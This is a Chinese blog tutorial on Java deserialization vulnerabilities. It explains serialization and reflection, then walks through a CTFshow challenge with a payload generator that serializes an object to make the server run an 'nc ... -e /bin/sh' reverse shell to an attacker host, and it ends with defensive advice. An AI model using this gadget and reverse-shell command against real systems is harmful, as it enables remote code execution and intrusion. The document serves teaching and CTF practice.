LOADING

加载过慢请开启缓存 浏览器默认开启

反序列化漏洞 in Java

2024/7/19 漏洞

文章目录

反序列化漏洞基础

序列化

将结构对象数据转换成字节序列的形式。

反序列化

把字节序列恢复成对象。

序列化、反序列化在 Java 代码中的体现

package serialize;   //初始化定义一个类

import java.io.Serializable;

public class User implements Serializable{
    private String name;
    public void setName(String name) {
        this.name=name;
    }
    public String getName() {
        return name;
    }
}
package serialize;

import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        User user=new User();
        user.setName("leixiao");

        byte[] serializeData=serialize(user);
        FileOutputStream fout = new FileOutputStream("user.bin");
        fout.write(serializeData);
        fout.close();
        User user2=(User) unserialize(serializeData);
        System.out.println(user2.getName());
    }
    public static byte[] serialize(final Object obj) throws Exception {              //序列化
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }
    public static Object unserialize(final byte[] serialized) throws Exception {     //反序列化
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

Java 反射机制

对于任意一个类,都能够得到这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。 以下是常见的获取class信息的方法:

package reflection;

public class User {        //定义一个User类作为示范
    private String name;

    public User(String name) {
        this.name=name;
    }
    public void setName(String name) {
        this.name=name;
    }
    public String getName() {
        return name;
    }
}
package reflection;

import java.lang.reflect.*;

public class CallMethod {
    public static void main(String[] args) throws Exception {
        Class UserClass=Class.forName("reflection.User");

        Constructor constructor=UserClass.getConstructor(String.class);//利用该类创建类
        User user=(User) constructor.newInstance("leixiao");

        Method method = UserClass.getDeclaredMethod("setName", String.class);  //调用method
        method.invoke(user, "l3yx");

        Field field= UserClass.getDeclaredField("name");  //访问属性
        field.setAccessible(true);  // name是私有属性,需要先设置可访问
        field.set(user, "l3yx");

        System.out.println(user.getName());
    }
}

漏洞成因

当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

package reflection; //利用反射执行java.lang.Runtime.getRuntime().exec("calc.exe");

public class Exec {
    public static void main(String[] args) throws Exception {

        Class runtimeClass=Class.forName("java.lang.Runtime");
        Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);// getRuntime是静态方法,invoke时不需要传入对象
        runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");
    }
}

以 CTF show [单身杯 WEB] blog 为例分析

本题思路主要是造反序列化命令执行payload实现反弹shell,从而实现任意文件可读。在此题目前半部分如何成为admin,class文件读取部分略过。(简单复现漏洞,具体题目解法请见他人write up)

//在UserEntity.java中,发现可以通过反序列化输入控制username,password,email,address四个数据。
private void readObject(ObjectInputStream input)
            throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException
    {
        input.defaultReadObject();
        Class.forName(username).getMethod(email, new Class[] {
                String.class
        }).invoke(Class.forName(username).getMethod(password, new Class[0]).invoke(Class.forName(username), new Object[0]), new Object[] {
                address
        });
    }
//由AdminController.java文件得知对方是通过url读取数据。
public String adminConsole(String token, String url, HttpSession session, Model model)
        throws IOException, ClassNotFoundException
    {
        if(token != null && token.equals(session.getAttribute("token"))) // 判断token参数是否一致
        {
            URL fileUrl = new URL(url); // 文件读取
            ObjectInputStream objectInputStream = new ObjectInputStream(fileUrl.openStream());
            objectInputStream.readObject();
            model.addAttribute("message", "\u66F4\u65B0\u6210\u529F");
        } else
        {
            model.addAttribute("message", "\u66F4\u65B0\u5931\u8D25\uFF0Ctoken\u65E0\u6548");
        }
        return "pageMessage";
    }

//构造payload实现反弹shell
public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        UserEntity userEntity = new UserEntity();
        userEntity.setUsername("java.lang.Runtime");
        userEntity.setPassword("getRuntime");
        userEntity.setEmail("exec");
        userEntity.setAddress("nc 公网ip地址 监听端口 -e /bin/sh");
        FileOutputStream fos = new FileOutputStream("exp");
        ObjectOutputStream out = new ObjectOutputStream(fos);
        out.writeObject(userEntity);
        out.close();
        fos.close();
    }
}

然后将得到的字节序列数据转码并发起post请求,实现任意文件可读,找到flag文件。

防御措施:

1.避免反序列化不可信数据:不要从不受信任的源或用户接受序列化数据。 2.使用安全的库:例如,使用 Apache Commons Lang 的 SerializationUtils 类,它提供了更安全的序列化 API。 3.更新和修补:保持 Java 环境和所有依赖的库更新到最新版本。 4.实施类型检查和输入验证:在反序列化前检查数据的合法性。

参考:

1.Java 反序列化漏洞原理解析
2.Java 反序列化漏洞利用及修复 示例代码
3.Java 反序列化代码执行案例分析